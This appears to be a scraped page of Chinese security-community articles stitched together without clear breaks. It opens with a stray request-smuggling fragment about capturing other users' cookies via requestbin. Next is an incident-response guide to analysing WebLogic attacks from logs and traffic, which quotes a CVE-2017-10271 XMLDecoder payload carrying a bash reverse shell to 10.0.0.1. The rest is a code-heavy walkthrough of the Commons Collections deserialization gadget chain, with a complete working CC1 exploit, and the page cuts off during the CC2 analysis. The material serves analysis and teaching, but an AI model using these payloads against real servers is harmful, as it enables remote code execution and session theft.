GET /video HTTP/1.1
Host: hacker.com
Foo: x
>
> 这里测试的外部网站是通过[https://requestbin.com/注册的](https://requestbin.com/%E6%B3%A8%E5%86%8C%E7%9A%84)
请求通过 turbo intruder 发送，查看网站的访问记录，可以看到别的用户的cookie | 社区文章 |
# 基于攻击流量和日志对Weblogic各类漏洞的分析思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在最近的几次应急响应中，基于Weblogic反序列化漏洞的攻击是非常常见的攻击手段，于是在应急响应结束之余我希望将实战中的一些分析经验和思路进行总结，提炼出一套Weblogic类漏洞攻击的分析思路和方法。在这篇文章中，我将跟大家总结Weblogic日志基础知识，以及如何利用Weblogic攻击流量和日志深度分析和挖掘Weblogic的4种漏洞攻击场景。
## 一、“九层之台起累土”— Weblogic环境搭建和日志分析基础
WebLogic是美国Oracle公司出品的一个Application Server，确切的说是一个基于JAVA EE架构的中间件,
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。正因为WebLogic应用实在太广泛了，被“贼”时刻惦记着，所以漏洞和攻击也是简直不要太多。
### Weblogic环境搭建
在对Weblogic漏洞攻击场景进行分析之前，为了方便演示和大家练习，我先搭建一个标准的Weblogic环境：
1. 使用Centos7和JDK1.7搭建Weblogic10.3.6
Weblogic下载地址：
<http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar>
2. 执行java -jar wls1036_generic.jar
3. 选择一个Middleware目录：
4. 记得取消更新
5. 接下来选择Typical安装即可，选择jdk目录，server目录默认即可，等待安装完成。
**新建Weblogic 域**
1. 使用默认选项下一步安装即可，
2. 在设置域启动模式时选择生产模式：
3. 最后 一直下一步安装即可
### Weblogic日志总结
Weblogic日志主要分为Server日志、HTTP日志和DOMAIN日志。
#### Server日志
路径位置：`DOMAIN_NAMEserversSERVER_NAMElogsSERVER_NAME.log`
默认为`DOMAIN_NAMEserversAdminServerlogsAdminServer.log`
它的作用是记录Weblogic Server启动至关闭过程中的运行信息和错误信息
示例：
####<Mar 4, 2019 9:42:07 AM CST> <Warning> <RMI> <localhost.localdomain> <AdminServer> <[ACTIVE] ExecuteThread: '4' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <> <1551663727980> <BEA-080003> <RuntimeException thrown by rmi server: weblogic.common.internal.RMIBootServiceImpl.authenticate(Lweblogic.security.acl.UserInfo;)
依次为：时间戳、严重程度、子系统、计算机名、服务器名、线程 ID、用户 ID、事务 ID、诊断上下文 ID、原始时间值、消息 ID 和消息文本
Server日志在控制台设置如下：
在Weblogic终端左侧菜单:环境–>服务器，在右侧菜单:服务器–>日志记录 – >一般信息 可设置记录日志的最低级别（默认为Trace）：
#### HTTP日志
路径位置：`DOMAIN_NAMEserversSERVER_NAMElogsaccess.log`
它的作用是记录Weblogic对用HTTP、HTTPS协议访问的服务器上的文件，该文件具体记录在某个时间，某个IP地址的客户端访问了服务器上的某个文件。
示例
172.16.112.1 - - [04/Mar/2019:14:44:43 +0800] "GET /untitled_war/ HTTP/1.1" 200 98
HTTP日志在控制台设置如下：
在weblogic控制台左侧菜单:环境–>服务器，在右侧菜单:服务器–>日志记录 – >HTTP 高级选项下，选择日志文件缓冲区为“0”可实时记录日志。
#### DOMAIN日志
路径位置：`DOMAIN_NAMEserversSERVER_NAMElogsDOMAIN_NAME.log`
默认为：`DOMAIN_NAMEserversAdminServerlogsbase_domain.log`
它的作用是记录一个DOMAIN下的各个Weblogic Server的启动至关闭过程中的运行信息和错误信息。
示例：（与Server日志类似）
####<Mar 18, 2019 5:43:26 PM CST> <Notice> <Log Management> <localhost.localdomain> <AdminServer> <[STANDBY] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <> <1552902206737> <BEA-170027> <The Server has established connection with the Domain level Diagnostic Service successfully.>
格式为：时间戳、严重程度、子系统、计算机名、服务器名、线程 ID、用户 ID、事务 ID、诊断上下文 ID、原始时间值、消息 ID 和消息文本。
需要说明的一点：
DOMAIN日志中记录的时间戳是发出消息的服务器的时间戳。Domain日志中的日志记录不会按照其时间戳顺序写入；其会在消息到达后立即将其写入。有可能服务器在一段时间内无法与域服务器联系。此时，消息会被缓冲在本地并在重新连接服务器之后发送到管理服务器。
## 二、“拨开云雾见青天”— 4种Weblogic攻击分析思路
### Weblogic反序列化漏洞日志分析
Weblogic反序列化漏洞可以说是非常常见的了，CVE编号就有CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3191等等之多。
我的分析思路是：因为使用反序列化漏洞入侵，HTTP日志是不会记录访问Shell行为的，所以要通过Domain日志或服务器日志先查看报错日志：
**socket连接示例**
**文件操作示例**
Weblogic会响应攻击者发送的payload请求，所以可以抓取攻击流量，在流量记录中可以看到攻击者上传的Webshell：
上传的Webshell地址一般为：
`/home/weblogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/*`
然后再通过Server日志报错判断漏洞类型：
位置（通常在java.lang.ClassCastException后）：
####<Mar 26, 2019 9:13:34 AM EDT> <Warning> <RMI> <localhost.localdomain> <AdminServer> <[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <> <1553606014109> <BEA-080003> <RuntimeException thrown by rmi server: weblogic.common.internal.RMIBootServiceImpl.authenticate(Lweblogic.security.acl.UserInfo;)
java.lang.ClassCastException: $Proxy91 cannot be cast to weblogic.rjvm.ClassTableEntry.
java.lang.ClassCastException: $Proxy91 cannot be cast to weblogic.rjvm.ClassTableEntry
at weblogic.rjvm.MsgAbbrevInputStream.readClassDescriptor(MsgAbbrevInputStream.java:405)
at weblogic.utils.io.ChunkedObjectInputStream$NestedObjectInputStream.readClassDescriptor(ChunkedObjectInputStream.java:278)
不同漏洞利用类型的对应报错内容如下：
报错内容 | 漏洞利用类型
---|---
org.apache.commons.collections | Apache Commons Collections类
java.util.LinkedHashSet | jdk小于Jdk7u21
weblogic.jms.common.StreamMessageImpl | StreamMessageImpl接口
$Proxy | JRMP(java.rmi.registry.Registry java.rmi.activation.Activator)
springframework.transaction.TransactionSystemException/springframework.transaction.jta.JtaTransactionManager
| CVE-2018-3191Spring JNDI反序列化
截图示例：
**Apache Commons Collections：**
**Proxy：**
**StreamMessageImpl接口** ：
**Java.util.LinkedHashSet:**
**Spring JNDI：**
部分流量截图
**JRMP(java.rmi.registry.Registry java.rmi.activation.Activator)**
**StreamMessageImpl**
**Spring JNDI：**
**Apache Commons Collections**
### WLS组件命令执行日志分析
XMLDecoder 反序列化漏洞的CVE编号为CVE-2017-10271，但是XMLDecoder
反序列化漏洞的Server、DOMAIN与access均无日志产生，所以只能通过流量抓取，识别payload示例：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash-i>&/dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
以某次应急案例为例分析：攻击者利用CVE-2017-10271漏洞，攻击Weblogic服务；根据流量记录可见请求体内容的开头为：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
攻击者上传1q.jsp文件
攻击者上传后门文件t00ls.jsp;
攻击者使用1q.jsp后门文件读取用户文件
### Weblogic后台弱口令日志分析
弱口令问题被称为是网络安全中的第一大隐患一点也不夸张，那么针对Weblogic后台弱口令漏洞我们该怎么分析呢？答案是查看AdminServer.log日志，搜索包含Webshell文件名的war字串，可判断是否是console弱口令。
另外，通过Weblogic控制台部署的Webshell，access.log会记录访问其日志，所以
可以查找access.log找到Webshell具体位置：
### Weblogic SSRF漏洞日志分析
Weblogic SSRF漏洞在Server、DOMAIN与access中均无日志记录，只能通过分析流量：
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=qqq&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=
若存在漏洞，返回包中包含：
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server:
若漏洞请求的为非HTTP服务时，返回：
An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://127.0.0.1:22 which did not have a valid SOAP content-type: null.
截图示例：
## 三、“而今迈步从头越”— 总结
以上针对网络攻击中常见的4种Weblogic漏洞场景进行了攻击流量和日志方面的分析总结，但是Weblogic的漏洞分析远远没有就此结束，正所谓“雄关漫道真如铁，而今迈步从头越”，在其他类型或新出现的Weblogic漏洞攻击中，只要了解了Weblogic日志和漏洞原理，分析思路和方法则“万变不离其宗”，很惭愧，就做了一点微小的工作。谢谢大家。
## 后记-关于作者
360企业安全集团安全服务团队的一员，专注于应急响应、攻防研究和漏洞分析，一个在安全的大坑里匍匐前行的小菜鸡。
参考链接：
<http://www.xifenfei.com/2012/03/weblogic%E7%9B%B8%E5%85%B3%E6%97%A5%E5%BF%97%E4%BB%8B%E7%BB%8D.html>
<https://github.com/frohoff/ysoserial>
<http://xxlegend.com/2018/06/20/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/>
<http://blog.nsfocus.net/weblogic-sharing/> | 社区文章 |
# CommonsCollections1
CC链基本的点就是在前两个链中，所以我会着重偏向前两个链的介绍，后期的链基本就是换汤不换药，我会适当简略；
LazyMap.get()中：
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
可以看到里面if中会去调用factory下的transform方法；我们看下相应属性的定义；
protected final Transformer factory;
发现定义是个Transformer；其是个接口；追溯一下不难发现其定义：
public interface Transformer {
Object transform(Object var1);
}
那么现在就是寻找可以继承接口的类；找到InvokerTransformer类；
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
这里摘取主要的一些源码进行分析；发现在其类中继承了接口之后又将其重写，这里就可直接调用；关键的函数是在这几行：
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
这里获取我们传入的类，然后拿到类中的方法和参数类型；然后最后竟然直接invoke直接执行了这个方法；回溯这个类，我们发现所有的参数都是我们可控的，碉堡了；这就直接可调用任意类下的任意函数，并且参数还是我们可控的；这就造成了很大的安全问题；那么目标点就很明确了；寻找命令执行函数；发现在Runtime类下有个exec函数可执行命令；这也是这个chain的走向；
追溯下：
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
这里直接调用了exec函数去执行命令；那么我们的思路也就很简单了，在上个文件中赋如下的值：
Class cls = input.getClass();//input : new java.lang.Runtime();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//iMethodName:"exec" iParamTypes: String.class
return method.invoke(input, this.iArgs);//iArgs:"calc.exe"
当我们上述的变量赋值为我们希望的值的时候，进入下一个Runtime类的时候就会进行命令执行造成rce；
这里先写个简单的demo证明下Runtime类下的exec造成rce的效果；
package com.company;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class runtime_exec {
public static void main(String[] args) throws Exception{
Class s1mple = java.lang.Runtime.class;
System.out.println(s1mple);
Constructor s2mple = s1mple.getDeclaredConstructor();
s2mple.setAccessible(true);
Object s3mple = s2mple.newInstance();
Method s4mple = s1mple.getMethod("exec",String.class);
s4mple.invoke(s3mple,"touch pwned_by_s1mple");
}
}
会发现生成了个pwned_by_s1mple文件；现在开始寻找如何利用链构造上述的代码；
幸运的是我们在ChainedTransformer类中找到了可以完成上述链的写法；
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
可以看到这里是接受了一个Transormer类型的数组；然后将iTransformers属性赋值为这个数组；观察下transform方法；这里是将我们传入数组的每个值都进行了调用，调用其下的transform方法；参数是我们传入的object；这里可以去调用InvokerTransformer类下的方法；来写；先来写个简单的InvokerTransormer类下的调用demo来实现rce；
package com.company;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class runtime_exec {
public static void main(String[] args) throws Exception {
Class s2mple = java.lang.Runtime.class;
System.out.println(s2mple);//查看回显结果
Method ss = s2mple.getMethod("getRuntime",null);
System.out.println(ss);//查看回显结果
Object as= ss.invoke(null);
System.out.println(as);//查看回显结果
InvokerTransformer s1mple = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
s1mple.transform(as);
}
}
这里我们可以先拿到Runtime的Class对象，然后利用Class下的getMethod方法去拿到Runtime下的私有的构造方法；然后通过这种方式去用invoke去执行，可以直接实力化Runtime类；并且弹出计算器；
[
一般来说这么写是可以来验证漏洞的存在的，但是我们又会发现一给坑，Runtime无法进行序列化，在java中，可以序列化的类都会继承Serializable接口，但是Runtime并没有，所以我们得找到另外一种写法去实现我们上面的那个InvokerTransormer的demo；
回到之前的代码块处；之前也分析了这里的transorm方法可以遍历去调用一些类下的tranform方法；这里就是利用点；
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
先来看个ConstantTransformer类：看下源码；
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
这里无论我们传入什么，最后return的是我们传入的东西；就可以用这个作为跳板，return我们的Runtime的class对象；然后就是我们的InvokerTransformer类了；这里我先来声明一个问题；我们在.class的时候，是获取到相应类的Class对象，然后还有一步，是将Class对象加载进来，所以我们才可调用getMethod之类的方法；在InvokerTransformer中发现transform可以调用任意类下的任意的方法；在ChainedTransformer类下发现有一个for循环，可以循环调用某些类下的transform方法；
## 基于接口的多态
public class ChainedTransformer implements Transformer
public class InvokerTransformer implements Transformer
public class ConstantTransformer implements Transformer
发现这些类都是继承了Transformer接口，可以通过向上转型的方式将其实例化为Transformer接口对象；然后传入下面ChainedTransformer的函数，然后起到遍历这些类下的transform方法；
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
找到了这点，结合我们之前分析的各个transform函数；可以进行实例化Runtime类；
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class}, new Object[] {"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer s1mple = new ChainedTransformer(transformers);
Object su = s1mple.transform("aa");
看上面代码；这里需要仔细分析下，先通过ConstantTransformer类下的transform方法返回传入对象；这里我们传入Runtime.class所以自然最后return的是Runtime.class;然后反观for循环里；因为返回了Runtime.class；所以object就为Runtime.class然后将其作为参数传入transform方法；接下来调用InvokerTransformer下的transform方法；可以看到这里先拿了getMethod方法；利用的是InvokerTransformer中的transform的getMethod方法；这里拿到getMetiod的方法有很多种；
## 先来说常规的；
举个例子
class zm{
public static void hr(){
int aa = 5555;
System.out.println(aa);
}
}
public class runtime_exec {
public static void main(String[] args) throws Exception {
zm s1mple = new zm();
Class s2mple = s1mple.getClass();
Method s3mple = s2mple.getMethod("hr".null);
s3mple.invoke(s1mple,null);
}
获取class对象的方法有三种，针对于一个非Class对象来说；通过getClass函数，可以有效的拿到Class对象；还有两种是
“类名”+.class;和Class.forname();这两种方法直接拿到Class对象；这三种方法都可直接进行getMethod去调用原类对象中的某个方法；
## 非常规的一种：
拿到Class对象之后，我们可以考虑去拿到getMethod的原始函数；不知这里我表达是否准确，简单来说是利用getMethod拿到Class类下的getMethod，然后invoke；这样也是调用了getMethod方法；这个cc链利用的就是这种思路；想拿到getMethod原始函数，就需要再次对Class对象进行getClass；以拿到java.lang.Class的class类对象；接着我们就可拿到Class类下的函数，getMethod；追溯下：
public Method getMethod(String name, Class<?>... parameterTypes)
throws NoSuchMethodException, SecurityException {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
Method method = getMethod0(name, parameterTypes, true);
if (method == null) {
throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
}
return method;
}
不难发现有两个参数；第一个为字符串对象；第二个为Class的多参数，这里既是多参数；那么我们写java程序也就很简单了；写一个简单的demo来实现上述的逻辑：
public class runtime_exec {
public static void main(String[] args) throws Exception {
Object Runtime = java.lang.Runtime.class;
Class s2mple = Runtime.getClass();
Method s3mple = s2mple.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object aass = s3mple.invoke(Runtime,new Object[]{"getRuntime",null});
System.out.println("aass="+aass);
}
}
相当于执行了java.lang.Runtime.class.getMethod("getRuntime",null);
然后就成功拿到了getRuntime方法；接着就是执行此方法拿到Runtime对象；继续传入
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
public Object transform(Object input) {//此时；input已经变成了一个方法类型；
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
传入getClass之后得到Method；然后就可调用Method下的一些方法；追溯Method类invoke方法；
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (!override) {
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
Class<?> caller = Reflection.getCallerClass();
checkAccess(caller, clazz, obj, modifiers);
}
}
MethodAccessor ma = methodAccessor; // read volatile
if (ma == null) {
ma = acquireMethodAccessor();
}
return ma.invoke(obj, args);
}
发现其参数为任意对象类型，第二个为多参数；即传数组；这里其实原理也是先通过InvokerTransformer下的getMethod拿到invoke函数，然后再invoke去调用invoke函数；可以继续续写上述的demo；
public class runtime_exec {
public static void main(String[] args) throws Exception {
Object Runtime = java.lang.Runtime.class;
Class s2mple = Runtime.getClass();
Method s3mple = s2mple.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object aass = s3mple.invoke(Runtime,new Object[]{"getRuntime",null});
System.out.println("aass="+aass);
Class s4mple = aass.getClass();
Method s5mple = s4mple.getMethod("invoke",new Class[]{Object.class, Object[].class});
Object tt = s5mple.invoke(aass,null,null);
System.out.println(tt);//即可拿到实例化的Runtime类对象；
}
}
拿到了对象然后就可按照常规的思路去进行invoke其下的exec方法，然后达到rce；即在此传入；
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
然后这里直接按照常规的getMethod方法的传参方法去进行传入即可；最后达到弹出个计算器的效果；
上面的一段分析清楚了，接下来就是去考虑怎么承接的问题；怎么去触发ChainedTransformer下的transform方法；回到最开始的LazyMap类下；发现有个get方法；
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里可以调用factory属性下的transfrom方法；factory是什么；追溯下发现：
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
可以是一个Transformer的类型的变量；所以可以通过构造方法和ChainedTransformer相连；但是仅仅相连还是不够的，我们应该考虑如何去触发下面的get方法；
这里有个新的类去要利用；AnnotationInvocationHandler类；如下图：
[
AnnotationInvocationHandler类中有个构造函数，我们看到在构造函数中存在一个Map类型的memberValues变量；接着往下追溯看到有一行代码：
Object result = memberValues.get(member);
是调用了memberValues属性下的get方法；这里我们就可和之前的类进行衔接；而且注意到这个类是继承了Serializable接口的，是可以进行序列化的；我们只需要在构造函数处直接传入LazyMap就可；但是现在因为要想调用到上述的语句，就需要执行invoke方法；我们之前只是在构造函数中传入了我们需要的点，并不能直接执行，其执行是在invoke方法中；那么现在的问题就是如何去调用invoke方法；
## 代理类触发invoke
先来看AnnotationInvocationHandler类，它继承了InvocationHandler接口；该接口可以用来实现JDK的代理；JDK代理的主要函数为
，Proxy.newProxyInstance；追溯下函数：
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
追溯其类定义，发现其继承了Serializable接口，是可以序列化的；所以我们可以通过向该函数传递ClassLoader，interfaces，和重写invoke方法的InvocationHandler实现类即可实现代理。JDK代理是基于接口的，因为在本身在实现的时候是继承实现的，由于继承是单继承所以只能依靠接口。代理成功之后再调用原来类方法的时候会首先调用InvocationHandler实现类的invoke方法。同时我们可以看到在invoke函数中有个敏感方法的调用；在上述已经说过；⬆️；所以思路已经很清晰了；
## 构造POC
先来写生成代理类的方法；这里有个小点需要注意的是；AnnotationInvocationHandler类的构造方法是default限定符；在同包下可见；所以这里如果我们想调用，还得需要通过反射来进行变限定；这里为了逻辑清晰，我们首先编写transformers下的部分点；
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class}, new Object[] {"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer s1mple = new ChainedTransformer(transformers);
其实原理也很清楚了；上述也已经讲过，其实也就是通过另类的方法去调用到了getMethod
invoke这些方法，去实现任意类下的函数调用；验证方法：将上述代码再次调用transform即可弹出计算器；
为了上述的代码，现在的问题就是如何去调用transform方法；分析lazymap方法；即从get方法下手，这里因为LazyMap类下的构造器的限定问题，所以方法有二，直接拿到构造函数利用反射进行变限定，或者直接调用decorate方法即可；这里我采用的是方法一：
HashMap hashmap = new HashMap<String,String>();
String mm = "org.apache.commons.collections.map.LazyMap";
Class kk = Class.forName(mm);
Constructor method = kk.getDeclaredConstructor(Map.class,Transformer.class);
method.setAccessible(true);
Object lazymap = method.newInstance(hashmap,s1mple);
Class jc = lazymap.getClass();
因为形参的要求，第一个参数必须是Map类型的参数，所以这里选择HashMap；因为其继承Map接口；即可满足；第二个为Transformer类型的参数，因为ChainedTransformer也是继承Transformer接口，所以直接传入，然后在下面就可顺利的调用到ChainedTransformer下的transform方法；现在就是如何调用get方法；
这里链的原作者找到了AnnotationInvocationHandler类；
Object var6 = this.memberValues.get(var4);
在其invoke方法中，发现了可以调用任意类下的get方法；所以直接拿来用；可以将memberValues赋值为LazyMap的实力化对象，然后即可直接调用其get方法；那么现在的问题是如何去调用invoke方法；这里不得不佩服原作者的代码功底；继续看AnnotationInvocationHandler类中的readObject方法；
[
发现里面存在entrySet方法；我们只需要触发这个点就可；
String handler = "sun.reflect.annotation.AnnotationInvocationHandler";
Class inhandler = Class.forName(handler);
Constructor<?> constructor = inhandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler AnnotationInvocationHandlerdx = (InvocationHandler) constructor.newInstance(Deprecated.class,lazymap);//拿到实例化类；
这我们先拿到AnnotationInvocationHandler的实例化对象；因为AnnotationInvocationHandler构造器限定符的原因，这里我们采用另外写法利用反射拿到构造器，然后执行构造器代码即可；触发invoke方法这里原作者是利用代理去触发invoke方法；先看其接口InvocationHandler，该接口是可以实现JDK代理；JDK代理的主要函数为
，Proxy.newProxyInstance；
将InvocationHandler的实力化对象作为代理的第二个参数传进去，然后代理成功之后再调用原来类方法的时候会首先调用InvocationHandler实现类的invoke方法。所以我们可以将memberValues设置为代理类；然后在readObject的时候进行调用entrySet方法；这时因为代理的原因，就会调用我们原对象也就是AnnotationInvocationHandler下的invoke方法；这时再将memberValues赋值为lazymap的对象，也就自然的调用了get方法，到此整个链成；
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import static org.springframework.util.SerializationUtils.serialize;
public class runtime_exec {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class}, new Object[] {"getRuntime",null }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer s1mple = new ChainedTransformer(transformers);
HashMap hashmap = new HashMap<String,String>();
String mm = "org.apache.commons.collections.map.LazyMap";
Class kk = Class.forName(mm);
Constructor method = kk.getDeclaredConstructor(Map.class,Transformer.class);
method.setAccessible(true);
Object lazymap = method.newInstance(hashmap,s1mple);
String handler = "sun.reflect.annotation.AnnotationInvocationHandler";
Class inhandler = Class.forName(handler);
Constructor<?> constructor = inhandler.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler AnnotationInvocationHandlerdx = (InvocationHandler) constructor.newInstance(Deprecated.class,lazymap);//拿到实例化类；
Class cla = Deprecated.class;
System.out.println("cla="+cla);
Map evilMap = (Map) Proxy.newProxyInstance(
hashmap.getClass().getClassLoader(),
hashmap.getClass().getInterfaces(),
AnnotationInvocationHandlerdx
);
Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler ahandler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
ObjectOutputStream asdf = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
asdf.writeObject(ahandler);
ObjectInputStream sdf = new ObjectInputStream(new FileInputStream("serialize.ser"));
sdf.readObject();
}
}
这篇文章写了有点时间，中间有些间断，可能连贯性不是很好，但也算是一点研究的心得吧；
# CommonsCollections2
## 前言
之前我们分析了CC1的链，其调用并不是很复杂，唯一需要理解的点也就是利用for循环去进行任意类下任意方法的任意执行，我们在那个点去变相的调用到Runtime下的构造器；或者直接拿到另外返回构造器到函数然后直接invoke；还有也就是java的代理机制，在代理下执行encrySet函数的时候，会调用原类对象下的invoke方法；用着两个跳板去进行类的串联，从而最后执行Runtime类下的exec方法，导致任意命令执行；
其实CC2链最后的执行点和CC1的执行点是一样的，只是我们中途的利用方法不同，这次是通过Javassist在Java字节码中插入命令执行代码然后通过ClassLoader加载修改好的字节码。从而达到任意命令执行；链条很简单，主要是通过链条学习javassist的用法；
## 正文
我们先来看ysoserial的调用栈：简单分析下链条：
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
复现的起点还是在PriorityQueue.readObject()方法；追溯一下：
## 优先级队列 PriorityQueue
`PriorityQueue`一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序，放入`PriorityQueue`的元素，必须实现`Comparable`接口，`PriorityQueue`会根据元素的排序顺序决定出队的优先级；或者根据构造队列时提供的`Comparator`进行排序，元素就不必实现`Comparable`接口，具体取决于所使用的构造方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
这里可以显然的看到进入readObject之后，首先去调用了默认的反序列化方法； `s.defaultReadObject();`
然后进入排序方法heapify；继续追溯下相应的方法；这里将需要追溯的方法写到一起；
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
